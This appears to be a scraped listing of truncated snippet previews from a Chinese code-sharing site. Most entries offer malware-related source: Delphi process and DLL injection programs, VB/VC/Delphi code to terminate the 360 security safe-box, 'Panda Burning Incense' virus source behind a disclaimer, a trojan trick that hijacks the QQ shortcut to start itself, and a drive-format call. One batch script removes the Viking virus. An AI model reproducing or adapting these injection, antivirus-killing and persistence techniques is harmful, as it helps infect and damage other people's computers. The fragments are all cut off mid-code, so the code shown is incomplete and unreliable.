QQ自动发消息源码 这里面有的到窗口句柄，输入框句柄和按钮句柄的方法！ 你可以结合使用的到你想的到的功能！ 这是一个qq自动发送的功能，你看看，应该有点用吧！：） delphi代码...
program PrintInject; uses Windows, Classes, WinSpool, SysUtils; function PathFindFileNameA(szFilePath:PChar):PChar; stdcall; external 'shlwapi.dll'; procedure MainProc(); var szBuff: array[0..255] of Char; dwSize: DWORD; pProc: Pointer; dwT...
干掉360保险箱VB/VC/delphi 源码 VB 源码： Option Explicit Private Declare Function TerminateProcess Lib kernel32 (ByVal hProcess As Long, ByVal uExitCode As Long) As Long Private Declare Function ZwDuplicateObject _ Lib NTDLL.DLL (...
To avoid using WriteProcessMemory, we need to find other ways to inject a certain string (e.g. mypayload.dll) into a foreign process. This idea is a more creative one, by simply modifying the registers of the foreign process and pushing the...
program InjectMemEXE; uses Windows, SysUtils, uAddSection {http://www.delphibasics.info/home/delphibasicssnippets/addnewsectiontopefile}, uAddImport {http://www.delphibasics.info/home/delphibasicssnippets/addimportstopefile}; type TByteArra...
Crossbow病毒开放源代码-熊猫烧香源始代码 以下代码只做安全工作者参考,请勿用做非法用途,否则后果自负. 提示,所有病毒木马都是依靠计算机中漏洞进行病毒破坏以及木马监视.所以您只...
program InjectTheSelf; { $IMAGEBASE$13140000 } uses Windows, SysUtils, urlmon, sendmail, shellapi, tlhelp32; var MSG:TMSG; kkk: string ; cTime:TDateTime; hModule,hModule_News:Pointer; Extent,Size,ThreadId:longword; // ProcessHandle,Pid:long...
@echo off title清除威金（logo_1 , 熊猫烧香）病毒最新变种工具 @echo 清除VIKING病毒最新变种工具 pause if exist %windir% \ rundl132 . exe echo ---报告老大，发现有威金病毒埋伏!让我来干掉它----- if...
单元 ShlObj, ComObj, ActiveX; 修改快捷方式的启动目标,不改变原图标样子,反正QQ这种是用户每次开机就运行的，就连同我们的马一起运行了呗. 马在运行时会自动开启QQ,这样用户就发现不到...
type PTIMPORT_CODE=^TIMPORT_CODE; TIMPORT_CODE=packed record JmpPtr:Word; PtrAdd:^Pointer; end; function SHFormatDrive(hWnd: HWND; Drive: Word; fmtID: Word; Options: Word): Longint stdcall; external 'Shell32.dll' Name 'SHFormatDrive'; ........